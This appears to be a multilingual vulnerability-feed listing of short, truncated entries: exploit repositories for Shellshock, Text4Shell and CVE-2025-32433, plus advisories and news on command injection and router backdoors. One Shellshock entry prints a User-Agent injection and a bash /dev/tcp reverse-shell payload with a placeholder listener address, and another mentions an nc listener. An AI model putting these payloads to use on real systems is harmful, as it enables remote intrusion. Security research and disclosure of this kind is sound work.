CVE-2022-42889

CVE-2022-42889 CVE-2022-42889 用 Python スクリプト ローカルでテストするには、Docker POC に従ってください: https://github.com/karthikuj/cve-2022-42889-text4shell-docker PHP 版はこちら: https://github.com/ClickCyber/cve-2022-42889 これをローカルで実行して悪用する場合、使用する IP は Docker コンテナの作成時に生成されるゲートウェイです Docker コンテナ上で bash シェルを取得した後 chmod...

CVE-2014-6271

CVE-2014-6271 Shellshock 파이썬 익스플로잇 Shellshock 취약점CVE-2014-6271을 HTTP 환경 변수 주입을 통해 테스트하기 위한 깔끔하고 효율적인 대화형 파이썬 구현체입니다. 📝 설명 ShellshockCVE-2014-6271은 Bash 셸의 심각한 보안 취약점으로, 공격자가 환경 변수에 저장된 함수 정의 끝에 명령어를 덧붙여 임의의 명령을 실행할 수 있게 합니다. 이 스크립트는 CGICommon Gateway Interface 스크립트를 사용하는 웹 서버를 대상으로 합니다. 서버가 HTTP...

ShellShockHunter

ShellShockHunter v1.0 쉘쇼크 취약점을 테스트하기 위한 간단한 도구입니다. Autor: MrCl0wn Blog: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab Email: mrcl0wnlab@\gmail.com Shellshock 소프트웨어 버그 Shellshock는 Bashdoor라고도 알려져 있으며, Unix Bash 셸의 보안 버그 패밀리로, 첫 번째 버그는 2014년 9...

CVE-2019-10149-quick

CVE-2019-10149-quick 간단한 Bash 셸 빠른 수정 CVE-2019-10149...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 リモートシェル Goベースのエクスプロイトで、CVE-2025-32433を利用してリモートのbashシェルを取得します。 ProDefenseのCVE-2025-32433用PoCから導出されたエクスプロイトの理解に大きく影響を受けています。 エクスプロイトの実行 make クロスコンパイル用Makefileにより、exploit.exe はWindowsマシンでも利用可能です。 次に、エクスプロイトバイナリを次の2つの方法のいずれかで実行します。 コマンド ./exploit "" 注：コマンドの出力は返されません。 リバースシェル nc -lnvp...

Shell-Shock

Shell Shock 著者 : [email protected] メンテナ : 部署 : DevOps ライセンス : 概要 Shell Shock : 権限昇格, リモートコード実行 Unix Bash Shell のバグ群。任意のコマンド実行を許可します。 悪用ベクトル ペイロード shellshock ユーザーエージェント = User-Agent: :; ; rshell ペイロード = bash -i & /dev/tcp/127.0.0.1 rshell リスナーへのリダイレクト = bash -i & /dev/tcp/$YOURIP:$PORT トリック 設...

CVE-2014-6271

Shellshock 취약점 검사기 이 스크립트는 웹사이트가 Shellshock 취약점CVE-2014-6271에 취약한지 확인합니다. 요약: Shellshock 취약점Bashdoor라고도 알려짐은 2014년 9월 Unix Bash 셸에서 발견된 보안 결함입니다. 이 취약점은 Bash가 환경 변수를 처리하는 방식의 결함을 악용하여 공격자가 시스템에서 임의의 코드나 명령을 실행할 수 있게 합니다. 이로 인해 공격자는 취약한 시스템에 대한 완전한 제어권을 얻을 수 있습니다. 사용법: 스크립트를 사용하려면 확인하려는 사이트의 도메인 또...

CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271은 "Shellshock"라고 알려진 심각한 취약점으로, 2014년에 발견되어 공개된 취약점이다. 이 취약점은 Bash 쉘에서 발견되어 거의 모든 Unix 및 Linux 시스템에 영향을 미치며, 인터넷 상에서 가장 널리 이해되는 취약점 중 하나이다. 보안 위협 Shellshock 취약점은 Bash 쉘에서 환경 변수를 통해 임의의 코드 실행을 허용하는 취약점으로, 공격자는 특정 환경 변수 값을 조작함으로써 시스템에 악의적인 코드를 삽입할 수 있었습니다. 이는 시스템을 제어하거나 사...

Chinese-Made Zbtlink Routers Ship With Backdoor That Opens Unauthenticated Root Shells

Cybersecurity researchers have disclosed details of a "factory-shipped backdoor" implanted in at least 20 Chinese router models from Zbtlink. According to a new report from VulnCheck, the implant appears in all 21 firmware images currently available from Zbtlink that span more than 2 years. The...

Malicious code in log-taker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30b4bde2f8e6fa87d896e86967b814a70ae3e46f1b1d58ed4552d1d909fbfcfe index.js imports childprocess and invokes execSync with bash and zsh shell strings around lines 315 and 331. The pattern of spawning interactive shel...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c...

CVE-2026-0596 Command Injection in mlflow/mlflow

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $ or backticks, it allows for...

CVE-2026-32094 Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescapeescape does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like...

interpreter.htb-SSTI-exploit

Exploitation py...

Brocade Fabric OS < 9.2.1c2 / 9.2.2 < 9.2.2b / 10.0.0 Information Disclosure (CVE-2026-0383)

The version of Brocade FabricOS installed on the remote host is prior to 9.2.1c2, or 9.2.2 prior to 9.2.2b, or 10.0.0 prior to 10.0.0a. It is, therefore, affected by an information disclosure vulnerability: - A vulnerability in Brocade Fabric OS could allow an authenticated, local attacker with...